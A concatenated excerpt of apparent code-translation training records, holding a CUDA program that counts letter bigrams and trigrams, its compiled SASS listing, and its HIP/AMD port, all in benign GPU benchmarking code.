cudaMemcpy(graphemsArrayHost, graphemsArrayDevice, lengthGraphems * sizeof(int),
cudaMemcpyDeviceToHost));
// Free the GPU memory here
cudaFree(lineDevice);
cudaFree(graphemsArrayDevice);
return graphemsArrayHost;
}
// The main method.
// Parameters:
// 1 - [b,t] in order to chose between "Bigrams" or "Trigrams" (default: b)
// 2 - size of grid for the initial call (default: 10)
// 3 - size of block for the initial call (default: 128)
// 4 - [t,f,true,false] to print the result of the graphems (default: false)
// 5 - the name of the input file (default: inputTextLong.txt)
//
// calling example: ./main t 5 32 true inputTextVeryLong.txtx
__host__ int main(int argc, char** argv) {
if(argc > 1){
std::string setting(argv[1]);
if(setting == "b" ) {
FIND_BIGRAM = true;
}else if(setting == "t" ) {
FIND_BIGRAM = false;
}else{
cout<<"Parameter "<< argv[1] <<" not accepted. Only \"b\" (bigram), \"t\" (trigram), accepted. "<< "\n";
return 0;
}
if(argc > 2){
GRID_DIM = atoi(argv[2]);
if(argc > 3){
BLOCK_DIM = atoi(argv[3]);
if(argc > 4){
std::string setting(argv[4]);
if (setting == "t" || setting == "true")
PRINT = true;
if(argc > 5){
std::string setting(argv[5]);
nameFile = setting;
}
}
}
}
}
std::string line;
std::string longLine;
std::string path = "input/"+nameFile;
ifstream myfile(path.c_str());
if (myfile.is_open()) {
while (getline(myfile, line)) {
// Cleaning the line
line = clean(line);
longLine += line;
}
myfile.close();
}
else
cout << "Unable to open file";
clock_t beginCPU = clock();
std::map<std::string,int> graphems;
graphems = methodWithCPU(longLine);
clock_t endCPU = clock();
// showing contents:
cout<< "GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
double elapsed_secsCPU = double(endCPU - beginCPU) / CLOCKS_PER_SEC;
cout<<"CPU METHOD: " << "\n";
cout<<"Elapsed milliseconds: " << elapsed_secsCPU*1000 << "\n";
cout<<"Microseconds: " << endCPU - beginCPU << "\n";
// ITERATION TO START COMUNICATION WITH GPU
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << "FIRST ITERATION. GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
std::cout << "Elapsed Milliseconds: " << elapsed_secsGPU*1000 << "\n";
//verify data
if(PRINT){
std::cout << "The graphems obtained with CPU are:\n";
std::map<std::string,int>::iterator it;
for (it=graphems.begin(); it!=graphems.end(); ++it)
std::cout << it->first << " => " << it->second << '\n';
std::cout << "\n\n -----------------------------------------\n\n";
std::cout << "The graphems obtained with GPU are:\n";
print(graphemsArrayHost);
}
free(graphemsArrayHost);
std::cout << "Elapsed milliseconds changing grid dimension and block dimension: \n";
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
std::cout << "," << dimBlocco;
}
std::cout << "\n\n";
for (int dimGriglia=1; dimGriglia <= 512 ; dimGriglia = dimGriglia*2 ){
GRID_DIM = dimGriglia;
std::cout << dimGriglia;
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
BLOCK_DIM = dimBlocco;
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
free(graphemsArrayHost);
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << ", "<< elapsed_secsGPU*1000 ;
}
std::cout << "\n";
}
return 0;
} | code for sm_80
Function : _Z19findGraphemsWithGPUPKcPiiib
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ IMAD.MOV.U32 R1, RZ, RZ, c[0x0][0x28] ; /* 0x00000a00ff017624 */
/* 0x000fe400078e00ff */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e220000002500 */
/*0020*/ ULDC.S8 UR4, c[0x0][0x178] ; /* 0x00005e0000047ab9 */
/* 0x000fe20000000200 */
/*0030*/ IMAD.MOV.U32 R2, RZ, RZ, 0x2 ; /* 0x00000002ff027424 */
/* 0x000fe200078e00ff */
/*0040*/ ISETP.NE.AND P0, PT, RZ, UR4, PT ; /* 0x00000004ff007c0c */
/* 0x000fe2000bf05270 */
/*0050*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e220000002100 */
/*0060*/ ULDC.64 UR6, c[0x0][0x118] ; /* 0x0000460000067ab9 */
/* 0x000fe20000000a00 */
/*0070*/ BSSY B0, 0x190 ; /* 0x0000011000007945 */
/* 0x000fe20003800000 */
/*0080*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fe200078e0203 */
/*0090*/ SEL R3, R2, 0x1, !P0 ; /* 0x0000000102037807 */
/* 0x000fc60004000000 */
/*00a0*/ IMAD R0, R0, c[0x0][0x170], RZ ; /* 0x00005c0000007a24 */
/* 0x000fc800078e02ff */
/*00b0*/ IMAD.IADD R9, R0, 0x1, R3 ; /* 0x0000000100097824 */
/* 0x000fe200078e0203 */
/*00c0*/ IADD3 R2, R3, c[0x0][0x170], R0 ; /* 0x00005c0003027a10 */
/* 0x000fc80007ffe000 */
/*00d0*/ ISETP.GE.AND P2, PT, R9, c[0x0][0x174], PT ; /* 0x00005d0009007a0c */
/* 0x000fe40003f46270 */
/*00e0*/ IADD3 R2, R2, -0x1, RZ ; /* 0xffffffff02027810 */
/* 0x000fc80007ffe0ff */
/*00f0*/ ISETP.GT.OR P1, PT, R9, R2, P2 ; /* 0x000000020900720c */
/* 0x000fce0001724670 */
/*0100*/ @P2 BRA 0x180 ; /* 0x0000007000002947 */
/* 0x000fea0003800000 */
/*0110*/ ISETP.NE.AND P2, PT, RZ, UR4, PT ; /* 0x00000004ff007c0c */
/* 0x000fe4000bf45270 */
/*0120*/ IADD3 R4, P3, R0, c[0x0][0x160], RZ ; /* 0x0000580000047a10 */
/* 0x000fc80007f7e0ff */
/*0130*/ LEA.HI.X.SX32 R5, R0, c[0x0][0x164], 0x1, P3 ; /* 0x0000590000057a11 */
/* 0x000fca00018f0eff */
/*0140*/ LDG.E.S8 R6, [R4.64] ; /* 0x0000000604067981 */
/* 0x000ea8000c1e1300 */
/*0150*/ @!P2 LDG.E.S8 R7, [R4.64+0x1] ; /* 0x000001060407a981 */
/* 0x000ee2000c1e1300 */
/*0160*/ IADD3 R8, R6, -0x61, RZ ; /* 0xffffff9f06087810 */
/* 0x004fe40007ffe0ff */
/*0170*/ @!P2 IADD3 R11, R7, -0x61, RZ ; /* 0xffffff9f070ba810 */
/* 0x008fe40007ffe0ff */
/*0180*/ BSYNC B0 ; /* 0x0000000000007941 */
/* 0x000fea0003800000 */
/*0190*/ @P1 EXIT ; /* 0x000000000000194d */
/* 0x000fea0003800000 */
/*01a0*/ @!P0 BRA 0x2c0 ; /* 0x0000011000008947 */
/* 0x000fea0003800000 */
/*01b0*/ IADD3 R6, P0, R9, c[0x0][0x160], RZ ; /* 0x0000580009067a10 */
/* 0x000fc80007f1e0ff */
/*01c0*/ LEA.HI.X.SX32 R7, R9, c[0x0][0x164], 0x1, P0 ; /* 0x0000590009077a11 */
/* 0x000fca00000f0eff */
/*01d0*/ LDG.E.S8 R6, [R6.64] ; /* 0x0000000606067981 */
/* 0x000ea2000c1e1300 */
/*01e0*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fe20007ffe0ff */
/*01f0*/ IMAD.MOV.U32 R5, RZ, RZ, 0x4 ; /* 0x00000004ff057424 */
/* 0x001fe200078e00ff */
/*0200*/ YIELD ; /* 0x0000000000007946 */
/* 0x000fe20003800000 */
/*0210*/ IMAD.MOV.U32 R13, RZ, RZ, 0x1 ; /* 0x00000001ff0d7424 */
/* 0x000fe400078e00ff */
/*0220*/ IMAD.IADD R9, R3, 0x1, R0 ; /* 0x0000000103097824 */
/* 0x000fca00078e0200 */
/*0230*/ ISETP.GE.AND P0, PT, R9.reuse, c[0x0][0x174], PT ; /* 0x00005d0009007a0c */
/* 0x040fe40003f06270 */
/*0240*/ ISETP.LE.AND P1, PT, R9, R2, PT ; /* 0x000000020900720c */
/* 0x000fe40003f23270 */
/*0250*/ IADD3 R11, R6, -0x61, RZ ; /* 0xffffff9f060b7810 */
/* 0x004fca0007ffe0ff */
/*0260*/ IMAD R4, R8, 0x1a, R11 ; /* 0x0000001a08047824 */
/* 0x000fc800078e020b */
/*0270*/ IMAD.WIDE R4, R4, R5, c[0x0][0x168] ; /* 0x00005a0004047625 */
/* 0x000fca00078e0205 */
/*0280*/ RED.E.ADD.STRONG.GPU [R4.64], R13 ; /* 0x0000000d0400798e */
/* 0x0001e2000c10e186 */
/*0290*/ IMAD.MOV.U32 R8, RZ, RZ, R11 ; /* 0x000000ffff087224 */
/* 0x000fe200078e000b */
/*02a0*/ @!P0 BRA P1, 0x1b0 ; /* 0xffffff0000008947 */
/* 0x000fea000083ffff */
/*02b0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*02c0*/ IADD3 R6, P0, R9, c[0x0][0x160], RZ ; /* 0x0000580009067a10 */
/* 0x000fc80007f1e0ff */
/*02d0*/ LEA.HI.X.SX32 R7, R9, c[0x0][0x164], 0x1, P0 ; /* 0x0000590009077a11 */
/* 0x000fca00000f0eff */
/*02e0*/ LDG.E.S8 R6, [R6.64] ; /* 0x0000000606067981 */
/* 0x000ea2000c1e1300 */
/*02f0*/ IMAD R5, R8, 0x1a, R11.reuse ; /* 0x0000001a08057824 */
/* 0x100fe200078e020b */
/*0300*/ IADD3 R0, R0, 0x1, RZ ; /* 0x0000000100007810 */
/* 0x000fe20007ffe0ff */
/*0310*/ IMAD.MOV.U32 R9, RZ, RZ, 0x4 ; /* 0x00000004ff097424 */
/* 0x000fe200078e00ff */
/*0320*/ YIELD ; /* 0x0000000000007946 */
/* 0x000fe20003800000 */
/*0330*/ IMAD.MOV.U32 R13, RZ, RZ, 0x1 ; /* 0x00000001ff0d7424 */
/* 0x000fe400078e00ff */
/*0340*/ IMAD.MOV.U32 R8, RZ, RZ, R11 ; /* 0x000000ffff087224 */
/* 0x000fe200078e000b */
/*0350*/ IADD3 R10, R6, -0x61, RZ ; /* 0xffffff9f060a7810 */
/* 0x004fca0007ffe0ff */
/*0360*/ IMAD R4, R5, 0x1a, R10 ; /* 0x0000001a05047824 */
/* 0x000fc800078e020a */
/*0370*/ IMAD.WIDE R4, R4, R9, c[0x0][0x168] ; /* 0x00005a0004047625 */
/* 0x000fc800078e0209 */
/*0380*/ IMAD.IADD R9, R3, 0x1, R0 ; /* 0x0000000103097824 */
/* 0x000fe200078e0200 */
/*0390*/ RED.E.ADD.STRONG.GPU [R4.64], R13 ; /* 0x0000000d0400798e */
/* 0x0001e2000c10e186 */
/*03a0*/ IMAD.MOV.U32 R11, RZ, RZ, R10 ; /* 0x000000ffff0b7224 */
/* 0x000fc600078e000a */
/*03b0*/ ISETP.GE.AND P0, PT, R9.reuse, c[0x0][0x174], PT ; /* 0x00005d0009007a0c */
/* 0x040fe40003f06270 */
/*03c0*/ ISETP.LE.AND P1, PT, R9, R2, PT ; /* 0x000000020900720c */
/* 0x000fda0003f23270 */
/*03d0*/ @!P0 BRA P1, 0x2c0 ; /* 0xfffffee000008947 */
/* 0x001fea000083ffff */
/*03e0*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*03f0*/ BRA 0x3f0; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0400*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0410*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0420*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0430*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0440*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0450*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0460*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0470*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include <algorithm>
#include <ctime>
#include <cuda_runtime_api.h>
#include <fstream>
#include <iostream>
#include <list>
#include <map>
#include <numeric>
#include <sstream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
static void CheckCudaErrorAux(const char *, unsigned, const char *,
cudaError_t);
#define CUDA_CHECK_RETURN(value) CheckCudaErrorAux(__FILE__,__LINE__, #value, value)
bool FIND_BIGRAM = false; //true = find brigrams; false = find trigrams
bool PRINT = false; //if set to true it will print the found bigrams and trigrams
int GRID_DIM = 10; // grid size
int BLOCK_DIM = 128; //block size
std::string nameFile = "inputTextLong.txt"; //the name of the text file to analyse
// this utility method allows the user to better understand the CUDA errors
static void CheckCudaErrorAux(const char *file, unsigned line,
const char *statement, cudaError_t err) {
if (err == cudaSuccess)
return;
std::cerr << statement << " returned " << cudaGetErrorString(err) << "("
<< err << ") at " << file << ":" << line << std::endl;
exit(1);
}
// converts the passed text line into only lower case alphabet characters
__host__ string clean(string in) {
string final;
for(int i = 0; i < in.length(); i++) {
if(isalpha(in[i])) final += tolower(in[i]);
}
return final;
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ void findGraphemsWithCPU(string line, std::map<std::string,int> &graphems) {
int tail = FIND_BIGRAM? 1 : 2;
for(int i = 0; i < line.length()-tail; i++) {
string key = std::string() + line[i] + line[i+1];
if(!FIND_BIGRAM)
key = key + line[i+2];
std::map<std::string,int>::iterator it = graphems.find(key);
if(it != graphems.end()){
it->second++;
}else{
graphems.insert(std::make_pair(key, 1));
}
}
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ std::map<std::string,int> methodWithCPU(std::string line){
std::map<std::string,int> graphems;
findGraphemsWithCPU(line,graphems);
return graphems;
}
// this method converts a character into an int
__device__ int getCharIndex(char c){
return (c - 'a');
}
//this method finds the graphems (bigram or trigram) using the GPU
__global__ void findGraphemsWithGPU(const char *line, int* graphemsArray, int sliceLength, int lineLength, bool findBigram) {
int startPoint =
blockDim.x * blockIdx.x +
threadIdx.x;
startPoint *= sliceLength;
int endPoint = startPoint + sliceLength - 1;
int tail = findBigram? 1 : 2;
endPoint += tail;
int index1;
int index2;
int index3;
if((startPoint+tail) < lineLength ){
index2 = getCharIndex(line[startPoint]);
if(!findBigram) {
index3 = getCharIndex(line[startPoint+1]);
}
}
while((startPoint+tail) <= endPoint && (startPoint+tail) < lineLength){
index1 = index2;
if(findBigram) {
index2 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 + index2 ], 1);
}else{
index2 = index3;
index3 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 * 26 + index2 * 26 + index3], 1);
}
startPoint++;
}
return;
}
// this method prints the graphems found with the GPU
__host__ void print(int *graphemsArrayHost){
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
std::string alphabet = "abcdefghijklmnopqrstuvwxyz";
for(int i = 0 ; i < lengthGraphems; i++){
if(graphemsArrayHost[i] != 0){
div_t result1 = std::div(i,26);
div_t result2 = std::div(result1.quot,26);
if(FIND_BIGRAM){
cout << (std::string() + alphabet[result2.rem]+ alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}else{
div_t result3 = std::div(result2.quot,26);
cout << (std::string() + alphabet[result3.rem]+ alphabet[result2.rem] + alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}
}
}
}
// this method finds the graphems (bigram or trigram) using the GPU
__host__ int* methodWithGPU(std::string line){
// GRAPHEMS ARRAY
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
int *graphemsArrayDevice;
int *graphemsArrayHost=(int*)calloc(lengthGraphems,sizeof(int));
// allocate device memory
CUDA_CHECK_RETURN(
cudaMalloc((void ** )&graphemsArrayDevice,
sizeof(int) * lengthGraphems));
// copy from host to device memory
CUDA_CHECK_RETURN(
cudaMemcpy(graphemsArrayDevice, graphemsArrayHost, lengthGraphems * sizeof(int),
cudaMemcpyHostToDevice));
// TEXT LINE
int lengthLine = line.length();
char *lineDevice;
// allocate device memory
CUDA_CHECK_RETURN(
cudaMalloc((void ** )&lineDevice,
sizeof(char) * lengthLine));
//
// copy from host to device memory
CUDA_CHECK_RETURN(
cudaMemcpy(lineDevice, line.c_str(), lengthLine * sizeof(char),
cudaMemcpyHostToDevice));
// execute kernel
int totalthreadNumber = GRID_DIM * BLOCK_DIM;
int sliceLength = ceil(float(lengthLine)/float(totalthreadNumber));
findGraphemsWithGPU<<< GRID_DIM, BLOCK_DIM >>>(lineDevice, graphemsArrayDevice, sliceLength, lengthLine, FIND_BIGRAM);
//
cudaDeviceSynchronize();
// copy results from device memory to host
CUDA_CHECK_RETURN(
cudaMemcpy(graphemsArrayHost, graphemsArrayDevice, lengthGraphems * sizeof(int),
cudaMemcpyDeviceToHost));
// Free the GPU memory here
cudaFree(lineDevice);
cudaFree(graphemsArrayDevice);
return graphemsArrayHost;
}
// The main method.
// Parameters:
// 1 - [b,t] in order to chose between "Bigrams" or "Trigrams" (default: b)
// 2 - size of grid for the initial call (default: 10)
// 3 - size of block for the initial call (default: 128)
// 4 - [t,f,true,false] to print the result of the graphems (default: false)
// 5 - the name of the input file (default: inputTextLong.txt)
//
// calling example: ./main t 5 32 true inputTextVeryLong.txtx
__host__ int main(int argc, char** argv) {
if(argc > 1){
std::string setting(argv[1]);
if(setting == "b" ) {
FIND_BIGRAM = true;
}else if(setting == "t" ) {
FIND_BIGRAM = false;
}else{
cout<<"Parameter "<< argv[1] <<" not accepted. Only \"b\" (bigram), \"t\" (trigram), accepted. "<< "\n";
return 0;
}
if(argc > 2){
GRID_DIM = atoi(argv[2]);
if(argc > 3){
BLOCK_DIM = atoi(argv[3]);
if(argc > 4){
std::string setting(argv[4]);
if (setting == "t" || setting == "true")
PRINT = true;
if(argc > 5){
std::string setting(argv[5]);
nameFile = setting;
}
}
}
}
}
std::string line;
std::string longLine;
std::string path = "input/"+nameFile;
ifstream myfile(path.c_str());
if (myfile.is_open()) {
while (getline(myfile, line)) {
// Cleaning the line
line = clean(line);
longLine += line;
}
myfile.close();
}
else
cout << "Unable to open file";
clock_t beginCPU = clock();
std::map<std::string,int> graphems;
graphems = methodWithCPU(longLine);
clock_t endCPU = clock();
// showing contents:
cout<< "GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
double elapsed_secsCPU = double(endCPU - beginCPU) / CLOCKS_PER_SEC;
cout<<"CPU METHOD: " << "\n";
cout<<"Elapsed milliseconds: " << elapsed_secsCPU*1000 << "\n";
cout<<"Microseconds: " << endCPU - beginCPU << "\n";
// ITERATION TO START COMUNICATION WITH GPU
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << "FIRST ITERATION. GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
std::cout << "Elapsed Milliseconds: " << elapsed_secsGPU*1000 << "\n";
//verify data
if(PRINT){
std::cout << "The graphems obtained with CPU are:\n";
std::map<std::string,int>::iterator it;
for (it=graphems.begin(); it!=graphems.end(); ++it)
std::cout << it->first << " => " << it->second << '\n';
std::cout << "\n\n -----------------------------------------\n\n";
std::cout << "The graphems obtained with GPU are:\n";
print(graphemsArrayHost);
}
free(graphemsArrayHost);
std::cout << "Elapsed milliseconds changing grid dimension and block dimension: \n";
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
std::cout << "," << dimBlocco;
}
std::cout << "\n\n";
for (int dimGriglia=1; dimGriglia <= 512 ; dimGriglia = dimGriglia*2 ){
GRID_DIM = dimGriglia;
std::cout << dimGriglia;
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
BLOCK_DIM = dimBlocco;
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
free(graphemsArrayHost);
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << ", "<< elapsed_secsGPU*1000 ;
}
std::cout << "\n";
}
return 0;
} | #include <hip/hip_runtime.h>
#include <algorithm>
#include <ctime>
#include <hip/hip_runtime_api.h>
#include <fstream>
#include <iostream>
#include <list>
#include <map>
#include <numeric>
#include <sstream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
static void CheckCudaErrorAux(const char *, unsigned, const char *,
hipError_t);
#define CUDA_CHECK_RETURN(value) CheckCudaErrorAux(__FILE__,__LINE__, #value, value)
bool FIND_BIGRAM = false; //true = find brigrams; false = find trigrams
bool PRINT = false; //if set to true it will print the found bigrams and trigrams
int GRID_DIM = 10; // grid size
int BLOCK_DIM = 128; //block size
std::string nameFile = "inputTextLong.txt"; //the name of the text file to analyse
// this utility method allows the user to better understand the CUDA errors
static void CheckCudaErrorAux(const char *file, unsigned line,
const char *statement, hipError_t err) {
if (err == hipSuccess)
return;
std::cerr << statement << " returned " << hipGetErrorString(err) << "("
<< err << ") at " << file << ":" << line << std::endl;
exit(1);
}
// converts the passed text line into only lower case alphabet characters
__host__ string clean(string in) {
string final;
for(int i = 0; i < in.length(); i++) {
if(isalpha(in[i])) final += tolower(in[i]);
}
return final;
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ void findGraphemsWithCPU(string line, std::map<std::string,int> &graphems) {
int tail = FIND_BIGRAM? 1 : 2;
for(int i = 0; i < line.length()-tail; i++) {
string key = std::string() + line[i] + line[i+1];
if(!FIND_BIGRAM)
key = key + line[i+2];
std::map<std::string,int>::iterator it = graphems.find(key);
if(it != graphems.end()){
it->second++;
}else{
graphems.insert(std::make_pair(key, 1));
}
}
}
// this method finds the graphems (bigram or trigram) using the CPU
__host__ std::map<std::string,int> methodWithCPU(std::string line){
std::map<std::string,int> graphems;
findGraphemsWithCPU(line,graphems);
return graphems;
}
// this method converts a character into an int
__device__ int getCharIndex(char c){
return (c - 'a');
}
//this method finds the graphems (bigram or trigram) using the GPU
__global__ void findGraphemsWithGPU(const char *line, int* graphemsArray, int sliceLength, int lineLength, bool findBigram) {
int startPoint =
blockDim.x * blockIdx.x +
threadIdx.x;
startPoint *= sliceLength;
int endPoint = startPoint + sliceLength - 1;
int tail = findBigram? 1 : 2;
endPoint += tail;
int index1;
int index2;
int index3;
if((startPoint+tail) < lineLength ){
index2 = getCharIndex(line[startPoint]);
if(!findBigram) {
index3 = getCharIndex(line[startPoint+1]);
}
}
while((startPoint+tail) <= endPoint && (startPoint+tail) < lineLength){
index1 = index2;
if(findBigram) {
index2 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 + index2 ], 1);
}else{
index2 = index3;
index3 = getCharIndex(line[startPoint+tail]);
atomicAdd(&graphemsArray[index1 * 26 * 26 + index2 * 26 + index3], 1);
}
startPoint++;
}
return;
}
// this method prints the graphems found with the GPU
__host__ void print(int *graphemsArrayHost){
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
std::string alphabet = "abcdefghijklmnopqrstuvwxyz";
for(int i = 0 ; i < lengthGraphems; i++){
if(graphemsArrayHost[i] != 0){
div_t result1 = std::div(i,26);
div_t result2 = std::div(result1.quot,26);
if(FIND_BIGRAM){
cout << (std::string() + alphabet[result2.rem]+ alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}else{
div_t result3 = std::div(result2.quot,26);
cout << (std::string() + alphabet[result3.rem]+ alphabet[result2.rem] + alphabet[result1.rem]) << " = " << graphemsArrayHost[i] << "\n";
}
}
}
}
// this method finds the graphems (bigram or trigram) using the GPU
__host__ int* methodWithGPU(std::string line){
// GRAPHEMS ARRAY
int lengthGraphems = FIND_BIGRAM? 26*26 : 26*26*26;
int *graphemsArrayDevice;
int *graphemsArrayHost=(int*)calloc(lengthGraphems,sizeof(int));
// allocate device memory
CUDA_CHECK_RETURN(
hipMalloc((void ** )&graphemsArrayDevice,
sizeof(int) * lengthGraphems));
// copy from host to device memory
CUDA_CHECK_RETURN(
hipMemcpy(graphemsArrayDevice, graphemsArrayHost, lengthGraphems * sizeof(int),
hipMemcpyHostToDevice));
// TEXT LINE
int lengthLine = line.length();
char *lineDevice;
// allocate device memory
CUDA_CHECK_RETURN(
hipMalloc((void ** )&lineDevice,
sizeof(char) * lengthLine));
//
// copy from host to device memory
CUDA_CHECK_RETURN(
hipMemcpy(lineDevice, line.c_str(), lengthLine * sizeof(char),
hipMemcpyHostToDevice));
// execute kernel
int totalthreadNumber = GRID_DIM * BLOCK_DIM;
int sliceLength = ceil(float(lengthLine)/float(totalthreadNumber));
findGraphemsWithGPU<<< GRID_DIM, BLOCK_DIM >>>(lineDevice, graphemsArrayDevice, sliceLength, lengthLine, FIND_BIGRAM);
//
hipDeviceSynchronize();
// copy results from device memory to host
CUDA_CHECK_RETURN(
hipMemcpy(graphemsArrayHost, graphemsArrayDevice, lengthGraphems * sizeof(int),
hipMemcpyDeviceToHost));
// Free the GPU memory here
hipFree(lineDevice);
hipFree(graphemsArrayDevice);
return graphemsArrayHost;
}
// The main method.
// Parameters:
// 1 - [b,t] in order to chose between "Bigrams" or "Trigrams" (default: b)
// 2 - size of grid for the initial call (default: 10)
// 3 - size of block for the initial call (default: 128)
// 4 - [t,f,true,false] to print the result of the graphems (default: false)
// 5 - the name of the input file (default: inputTextLong.txt)
//
// calling example: ./main t 5 32 true inputTextVeryLong.txtx
__host__ int main(int argc, char** argv) {
if(argc > 1){
std::string setting(argv[1]);
if(setting == "b" ) {
FIND_BIGRAM = true;
}else if(setting == "t" ) {
FIND_BIGRAM = false;
}else{
cout<<"Parameter "<< argv[1] <<" not accepted. Only \"b\" (bigram), \"t\" (trigram), accepted. "<< "\n";
return 0;
}
if(argc > 2){
GRID_DIM = atoi(argv[2]);
if(argc > 3){
BLOCK_DIM = atoi(argv[3]);
if(argc > 4){
std::string setting(argv[4]);
if (setting == "t" || setting == "true")
PRINT = true;
if(argc > 5){
std::string setting(argv[5]);
nameFile = setting;
}
}
}
}
}
std::string line;
std::string longLine;
std::string path = "input/"+nameFile;
ifstream myfile(path.c_str());
if (myfile.is_open()) {
while (getline(myfile, line)) {
// Cleaning the line
line = clean(line);
longLine += line;
}
myfile.close();
}
else
cout << "Unable to open file";
clock_t beginCPU = clock();
std::map<std::string,int> graphems;
graphems = methodWithCPU(longLine);
clock_t endCPU = clock();
// showing contents:
cout<< "GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
double elapsed_secsCPU = double(endCPU - beginCPU) / CLOCKS_PER_SEC;
cout<<"CPU METHOD: " << "\n";
cout<<"Elapsed milliseconds: " << elapsed_secsCPU*1000 << "\n";
cout<<"Microseconds: " << endCPU - beginCPU << "\n";
// ITERATION TO START COMUNICATION WITH GPU
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << "FIRST ITERATION. GRID_DIM: " << GRID_DIM << ", BLOCK_DIM: " << BLOCK_DIM << "\n";
std::cout << "Elapsed Milliseconds: " << elapsed_secsGPU*1000 << "\n";
//verify data
if(PRINT){
std::cout << "The graphems obtained with CPU are:\n";
std::map<std::string,int>::iterator it;
for (it=graphems.begin(); it!=graphems.end(); ++it)
std::cout << it->first << " => " << it->second << '\n';
std::cout << "\n\n -----------------------------------------\n\n";
std::cout << "The graphems obtained with GPU are:\n";
print(graphemsArrayHost);
}
free(graphemsArrayHost);
std::cout << "Elapsed milliseconds changing grid dimension and block dimension: \n";
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
std::cout << "," << dimBlocco;
}
std::cout << "\n\n";
for (int dimGriglia=1; dimGriglia <= 512 ; dimGriglia = dimGriglia*2 ){
GRID_DIM = dimGriglia;
std::cout << dimGriglia;
for (int dimBlocco=1; dimBlocco <= 512 ; dimBlocco = dimBlocco*2 ){
BLOCK_DIM = dimBlocco;
int *graphemsArrayHost;
clock_t beginGPU = clock();
graphemsArrayHost = methodWithGPU(longLine);
clock_t endGPU = clock();
// Free host memory
free(graphemsArrayHost);
double elapsed_secsGPU = double(endGPU - beginGPU) / CLOCKS_PER_SEC;
std::cout << ", "<< elapsed_secsGPU*1000 ;
}
std::cout << "\n";
}
return 0;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include <algorithm>
#include <ctime>
#include <hip/hip_runtime_api.h>
#include <fstream>
#include <iostream>
#include <list>
#include <map>
#include <numeric>
#include <sstream>
#include <string>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
static void CheckCudaErrorAux(const char *, unsigned, const char *,
hipError_t);
#define CUDA_CHECK_RETURN(value) CheckCudaErrorAux(__FILE__,__LINE__, #value, value)
bool FIND_BIGRAM = false; //true = find brigrams; false = find trigrams
bool PRINT = false; //if set to true it will print the found bigrams and trigrams
int GRID_DIM = 10; // grid size
int BLOCK_DIM = 128; //block size
std::string nameFile = "inputTextLong.txt"; //the name of the text file to analyse
